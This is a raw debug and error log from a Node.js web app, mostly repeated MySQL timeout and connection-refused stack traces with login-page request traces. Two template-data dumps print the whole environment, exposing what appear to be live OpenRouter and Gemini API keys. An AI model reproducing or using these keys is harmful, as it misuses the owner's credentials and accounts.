    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-18 04:22:44' as DATETIME)"
}
KnexTimeoutError: Knex: Timeout acquiring a connection. The pool is probably full. Are you missing a .transacting(trx) call?
    at Client_MySQL2.acquireConnection (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/client.js:332:26)
    at async Runner.ensureConnection (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:305:28)
    at async Runner.run (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:30:19) {
  sql: undefined,
  bindings: undefined
}
Warning: got packets out of order. Expected 2 but received 1
Error: connect ETIMEDOUT
    at Connection._handleTimeoutError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:200:17)
    at listOnTimeout (node:internal/timers:588:17)
    at process.processTimers (node:internal/timers:523:7) {
  errorno: 'ETIMEDOUT',
  code: 'ETIMEDOUT',
  syscall: 'connect',
  fatal: true
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-18 04:28:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-18 04:28:55' as DATETIME)"
}
AggregateError [ECONNREFUSED]: 
    at internalConnectMultiple (node:net:1134:18)
    at afterConnectMultiple (node:net:1715:7) {
  code: 'ECONNREFUSED',
  fatal: true,
  [errors]: [
    Error: connect ECONNREFUSED 2a01:4f9:3071:1fc3::396:3306
        at createConnectionError (node:net:1678:14)
        at afterConnectMultiple (node:net:1708:16) {
      errno: -111,
      code: 'ECONNREFUSED',
      syscall: 'connect',
      address: '2a01:4f9:3071:1fc3::396',
      port: 3306
    },
    Error: connect ECONNREFUSED 65.21.215.19:3306
        at createConnectionError (node:net:1678:14)
        at afterConnectMultiple (node:net:1708:16) {
      errno: -111,
      code: 'ECONNREFUSED',
      syscall: 'connect',
      address: '65.21.215.19',
      port: 3306
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-18 05:42:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-18 05:42:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-18 06:54:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-18 06:54:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-18 08:28:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-18 08:28:33' as DATETIME)"
}
2026-04-18T09:48:17.796Z server-connect:router Serving templateView /
2026-04-18T09:48:17.797Z server-connect:app Executing action step identify
2026-04-18T09:48:17.797Z server-connect:app options: { provider: 'security' }
2026-04-18T09:48:17.798Z server-connect:auth No login cookie found
2026-04-18T09:48:17.798Z server-connect:output identity: false
2026-04-18T09:48:17.798Z server-connect:app Executing action step restrict
2026-04-18T09:48:17.798Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-18T09:48:17.798Z server-connect:output restrict: undefined
2026-04-18T09:48:17.855Z server-connect:router Serving templateView /
2026-04-18T09:48:17.855Z server-connect:app Executing action step identify
2026-04-18T09:48:17.855Z server-connect:app options: { provider: 'security' }
2026-04-18T09:48:17.855Z server-connect:auth No login cookie found
2026-04-18T09:48:17.855Z server-connect:output identity: false
2026-04-18T09:48:17.855Z server-connect:app Executing action step restrict
2026-04-18T09:48:17.855Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-18T09:48:17.856Z server-connect:output restrict: undefined
2026-04-18T09:48:17.893Z server-connect:router Serving templateView /login
2026-04-18T09:48:17.893Z server-connect:app Executing action step identify
2026-04-18T09:48:17.893Z server-connect:app options: { provider: 'security' }
2026-04-18T09:48:17.893Z server-connect:auth No login cookie found
2026-04-18T09:48:17.893Z server-connect:output identity: false
2026-04-18T09:48:17.893Z server-connect:router Render template layouts/authentication
2026-04-18T09:48:17.894Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '87.106.209.122',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-19T09:48:17.893Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '87.106.209.122',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '87.106.209.122',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-18T09:48:17.950Z server-connect:router Serving templateView /login
2026-04-18T09:48:17.950Z server-connect:app Executing action step identify
2026-04-18T09:48:17.950Z server-connect:app options: { provider: 'security' }
2026-04-18T09:48:17.950Z server-connect:auth No login cookie found
2026-04-18T09:48:17.950Z server-connect:output identity: false
2026-04-18T09:48:17.950Z server-connect:router Render template layouts/authentication
2026-04-18T09:48:17.950Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '87.106.209.122',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-19T09:48:17.949Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '87.106.209.122',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '87.106.209.122',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-18 13:06:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-18 13:06:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-18 17:49:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-18 17:49:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-18 20:23:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-18 20:23:34' as DATETIME)"
}
2026-04-18T21:12:54.419Z server-connect:router Serving templateView /
2026-04-18T21:12:54.420Z server-connect:app Executing action step identify
2026-04-18T21:12:54.420Z server-connect:app options: { provider: 'security' }
2026-04-18T21:12:54.421Z server-connect:auth No login cookie found
2026-04-18T21:12:54.421Z server-connect:output identity: false
2026-04-18T21:12:54.421Z server-connect:app Executing action step restrict
2026-04-18T21:12:54.421Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-18T21:12:54.421Z server-connect:output restrict: undefined
2026-04-18T21:12:56.018Z server-connect:router Serving templateView /
2026-04-18T21:12:56.026Z server-connect:app Executing action step identify
2026-04-18T21:12:56.026Z server-connect:app options: { provider: 'security' }
2026-04-18T21:12:56.026Z server-connect:auth No login cookie found
2026-04-18T21:12:56.026Z server-connect:output identity: false
2026-04-18T21:12:56.026Z server-connect:app Executing action step restrict
2026-04-18T21:12:56.026Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-18T21:12:56.026Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-18 22:47:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-18 22:47:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-18 22:49:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-18 22:49:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-18 22:57:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-18 22:57:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-19 01:07:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-19 01:07:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-19 03:39:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
